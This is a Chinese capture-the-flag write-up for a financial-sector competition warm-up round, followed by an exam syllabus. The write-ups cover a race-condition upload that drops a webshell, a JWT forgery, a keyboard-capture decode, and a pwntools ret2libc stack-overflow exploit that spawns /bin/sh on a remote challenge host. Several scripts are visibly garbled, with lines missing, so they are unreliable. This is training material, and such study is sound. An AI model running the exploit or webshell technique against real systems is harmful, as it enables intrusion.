从题目上看是速度,应该与速度相关。
后缀限制各种绕过无果,得知提示“上传文件后缀非法,已删除”,猜测言外之意就是文件已经上传成功,后来发现上传文件后缀非法,被程序自动删除。
那么可以上传一个php,访问后会立刻生成一个webshell,通过webshell获取权限。
通过一段时间的跑,获得flag: flag{fiLe_Up10A$1@68c55*e70}
#!/usr/bin/env python3
import requests, re
def calc(v1, v2, op, s):
payload = dict(value1=v1, value2=v2, op=op, source=s,t=hh)
#print payload
r = requests.get(u, params=payload)
#print r.url
r.content)[0].split('\n')[1]
assert (res != 'Invalid')
return res == 'True'
# print r.content
def check(mid):
s = flag + chr(mid)
return calc(v1, v2, op, s)
def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
assert (lo >= 0)
if hi == None: hi = len(seq)
while lo < hi:
mid = (lo + hi) // 2
# print lo, mid, hi, "\t",
if check(seq[mid]): hi = mid
else: lo = mid + 1
return seq[lo]
flag = ''
v1, v2, op, s ,hh= 'x', "+FLAG
while (1):
flag += chr(bin_search() - 1)
print flag
4. babyshop
买一个东西,然后卖出111111111111111111111111111个,让他溢出,然后你就是土豪了,可以随便买买买。
这题脑洞题,看标题jwt,应该是jwt认证。构造包,系统会报错,得到密钥(表问我为什么是在这个地方加token,而不是别的)。
算法必须是HS256,playload 必须为: "admin": "true"。将获取的hash放入token中得到flag,flag{Jw7_15_9000lh4vE_fUN_W17h_17}。
想象力不丰富的人很难做出来。
6. welcomeasicc码
102 102 108 97 103 123 119 101 108 99 48 109 101 95 50 95 67 84 70 45 119 111 114 108 100 125
7. docxdocx都是zip格式,解压即可得到flag{maybe_docx_is_a_structured_file(s)}
该题为usb协议,报文里面包含除了键盘意外其他操作数据,但是不影响我们分析。
tshark -r ./usb.pcap -T fields -e usb.capdata 获取数据,去掉空白数据。
获取后的数据通过查表得到键盘操作记录,相关
#!/usr/bin/env pythonimport sys
import os
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('1.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
运行得到键盘操作:
[unknown][unknown][unknown][unknown][unknown]BCFGIJGFEDCA[unknown][unknown][unknown][unknown]BACFEDCA[unknown][unknown]7200[DEL]53[DEL]93[unknown][unknown][unknown]
由于密码为6位数字,则flag为:7200[DEL]53[DEL]93 ===》720593。得自己补上flag{}.????
9. client下载解压,发现是exe程序,查壳未加壳。拉入IDA,得到账号:explorer
OD加载程序 ,在密码验证处设置断点。每次运行内存地址不一样,需要自己计算。
得到密码:welcome_to_the_world_of_binary.输入密码 得到:flag{welcome_to_the_world_of_binary}
使用jeb加载程序,根据提示,结束时获取flag{welcome_to_hacker's_game},base64编码的。把分跑满等结束这个姿势是不对的。
关于PWN 还有另外一个溢出点:URI,本文对利用该处的exp做解释。
相关代码由大米大拿给出,本人只做部分修改以及添加代码注释 。
本人初学,如有错误请指出。
大家测试前,需要安装GDB-peda插件,pwntools。
pwn组件
pip install pwntoolsgdb peda插件
相关代码解释见下:
from pwn import *local = 1
if local:
#context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'
#p = process('./anache_server', env={"LD_PRELOAD":"./libc.so.6"})
p = remote('54.223.83.192','31337')
libc = ELF('./libc.so.6')
#/bin/sh 的地址,用于执行system("/bin/sh"),可以通过010editor搜索字符串得到 binsh = 0x15902b
system= libc.symbols['system']
e = ELF('./anache_server')
#main函数地址,第一次溢出后,返回该处,便于第二次溢出执行漏洞
vuln_func =0x8048755
write_plt = e.plt['write'] #获取PLT 数据
write_got = e.got['write']
('write@plt: %s',hex(write_plt))
('write@got: %s',hex(write_got))
#gdb.attach(p)
#'aaa/'+'a'*0x21c为填充数据,覆盖栈
# p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)为
#write(1,write_got,4),把write函数的内存地址输出出来,长度为4字节
#x32 函数调用时是由右向左调用,p32(vuln_func)为执行完write函数后的返回地址,详细见call 函数栈数据的变化。
#GOT在运行时会重定位到glibc的write函数上,从而获取到write函数的内存地址
get_payload = 'aaa/'+'a'*0x21c + p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)
payload = 'GET ' + get_payload + ' HTTP/1.1\\'
p.send(payload)
p.recvuntil('Permission Denied
')
#读取 write函数的内存地址
res = u32(p.recv(4))
#write 的内存地址 = glibc的内存基址 + write函数的文件地址
#故 glibc的内存基址为:泄漏的write函数的内存地址 - write的文件地址
libc_base = res - libc.symbols['write']
log.success('libc base: %s',hex(libc_base))
#根据glibc的内存基址可以算出system的内存地址,从而利用system执行/bin/sh
#由于“/bin/sh” 字符串是在glic中查找的,故内存中字符串“/bin/sh” 需要加上glic的地址
binsh_addr = binsh+libc_base
system_addr = system+libc_base
log.success('binsh addr: %s',hex(binsh_addr))
log.success('system addr: %s',hex(system_addr))
#二次溢出,执行system(“/bin/sh”),返回地址可以随便写,程序挂了也无所谓啦,但是别超过4字节啦。
get_payload = 'b'*0x218 + p32(system_addr) + 'bbbb' + p32(binsh_addr)
payload = 'GET ' + get_payload + ' HTTP/1.1\\r'
p.send(payload)
p.interactive()
raw_input('waiting...')
备注:题目形式以及考纲源自于官方,个人考点分析为个人主观推论仅供参考,结论肯定是错误的????。大家查看提取的考纲即可。
本次竞赛题目量为热身赛题量的2倍左右,由于比赛只有4个小时,考试难度应该与热身赛相当。
考试题目与金融业相关业务为背景,内容包含着:网站入侵,恶意病毒清除,勒索软件清理,移动应用破解,日志与流量分析取证,密码保护。其中:
web安全:50%
移动安全:15%
逆向:10%
密码学:10%
取证,隐写,pwn:各占5%
以下为各个方向的考纲:
Web安全
题目形式:
给出web网站,要求选手通过信息收集、挖掘漏洞、利用漏洞获取目标权限或数据。
考纲:
1.OWASP top 10,如sql,xss,文件上传
2.信息泄漏
3.php代码审计
4.java反编译与代码审计
5.业务逻辑问题
6.着名漏洞
考点分析:
1.sql注入,xss 绕过过滤。
2.Java,php代码审计可能与sql,xss联合起来考试
3.着名漏洞可能会考:心脏滴血,struts2,shellshock(官方给的)
所需工具:
sqlmap,SourceLeakHacker,struts,心脏滴血,shellshock利用攻击。
移动安全
题目形式:
给出一个安卓应用,分析出算法,求解正确输入或是 对服务端通信进行分析,实现指定的目标。
考纲:
1.安卓应用流量抓取与分析
2.安卓逆向与调试
3.安卓应用修改
考点分析:
1.初级考点:熟悉安卓java语言逆向,资源文件,备份文件的目录;
2.中级考点:安卓so文件的逆向分析,动态调试;
3.高级考点:安卓应用加壳,ollvm混淆分析(个人感觉不大可能,4个小时anti估计都搞不定)
所需工具:
jeb,jd-gui, GDA
逆向工程
题目形式:
给出一个二进制程序,分析出算法,求解正确输入或是 对其进行patch,完成非预期功能。
考纲:
1.windows软件逆向分析与调试
2.linux软件逆向分析与调试
3.二进制软件修改
考点分析:
应该是常规题,跟热身赛差不多,动静分析应该可以得到答案。如果太难,4个小时不够用。
所需工具:
od,ida, peid
密码学
题目形式:
给出密文和相关信息(如加密代码,加密方式),求明文。
考纲:
1.hash算法
2.分组密码以及加密模式
3.rsa原理以及常见攻击方式
考点分析:
2.对称算法攻击,如:CBC反转攻击,ECB攻击(google keyword:ecb attack,)
3.RSA 算法应该是计算明文,考虑到难度系数,可能会给出p,q,n,e等参数;
所需工具:
我也不知道怎么给,网上给的都是小工具,具体网盘会给出。
取证与隐写
题目形式:
给出日志,流量或文件,分析出里面的关键信息或隐藏信息。
考纲:
1.常见的日志分析
2.网络流量抓去与分析
3.常见文件格式
考点分析:
1.常见协议,如:smb,TLS,smtp协议,可能会考wannacry,心脏滴血漏洞,wannacry是利用永恒之蓝漏洞进行攻击,使用的是smb协议漏洞,心脏滴血针对的是https,使用的是tls协议;
2.常见文档,压缩文件格式,比如:execl,rar,pptx等金融常用软件。
3.日志分析估计是找webshell,或者通过日志看哪个位置有漏洞。需要:准备常见的日志分析工具
所需工具:
wireshark, tshark,Stegsolve
PWN
题目形式:
给出一个网络服务二进制,利用其漏洞(通常为内存破坏型漏洞),获取服务器权限
考纲:
1.栈溢出基本原理
2.栈溢出的利用技术
3.linux提供的保护机制
考点分析:
官方都说了基本信息原理了,应该与热身赛难度差不多。感觉应该是一个套路:
1.checksec看保护机制;
2.找到溢出点;
3.获取glibc的地址;
4.远程执行命令。
所需工具:
gdb-peda,ida,od
工具打包下载,工具来源网络,非本人收集整理,请自己查看是否存在后门: